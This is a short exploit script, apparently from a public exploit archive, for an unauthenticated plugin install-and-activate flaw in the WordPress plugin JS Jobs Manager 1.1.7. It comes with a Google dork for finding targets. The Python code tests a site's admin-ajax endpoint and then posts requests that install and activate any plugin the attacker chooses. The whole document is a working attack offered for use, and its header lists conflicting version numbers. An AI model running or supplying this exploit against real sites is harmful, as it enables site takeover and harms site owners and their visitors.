WordPress JS Jobs Manager 1.1.7 Authorization Bypass

# Exploit Title: WordPress Plugin JS Jobs Manager 1.1.7 - Unauthenticated Plugin Install/Activation
# Google Dork: inurl:/wp-content/plugins/js-jobs/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/js-jobs/
# Version: <= 1.9.1.4
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
  print("JS Job Manager <= 1.1.7 - Arbitrary Plugin Install/Activation")
  print("Author -> space_hen (www.github.com/spacehen)")


def print_usage():
  print("Usage: python3 exploit.py [target url] [plugin slug]")
  print("Ex: python3 exploit.py https://example.com advanced-uploader")
  print("Note: To activate plugin successfully, main plugin file")
  print("should match slug, i.e ./plugin-slug/plugin-slug.php")

def vuln_check(uri):
  response = requests.get(uri)
  raw = response.text

  if ("Not Allowed!" in raw):
    return True;
  else:
    return False;

def main():

  print_banner()
  if(len(sys.argv) != 3):
    print_usage();
    sys.exit(1);

  base = sys.argv[1]
  slug = sys.argv[2]

  ajax_action = 'jsjobs_ajax'
  admin = '/wp-admin/admin-ajax.php';

  uri = base + admin + '?action=' + ajax_action ;
  check = vuln_check(uri);

  if(check == False):
    print("(*) Target not vulnerable!");
    sys.exit(1)

  data = {
  "task" : "installPluginFromAjax",
  "jsjobsme" : "jsjobs",
  "pluginslug" : slug
  }
  print("Installing plugin...");
  response = requests.post(uri, data=data )
  print("Activating plugin...");

  data = {
  "task" : "activatePluginFromAjax",
  "jsjobsme" : "jsjobs",
  "pluginslug" : slug
  }
  response = requests.post(uri, data=data )

main();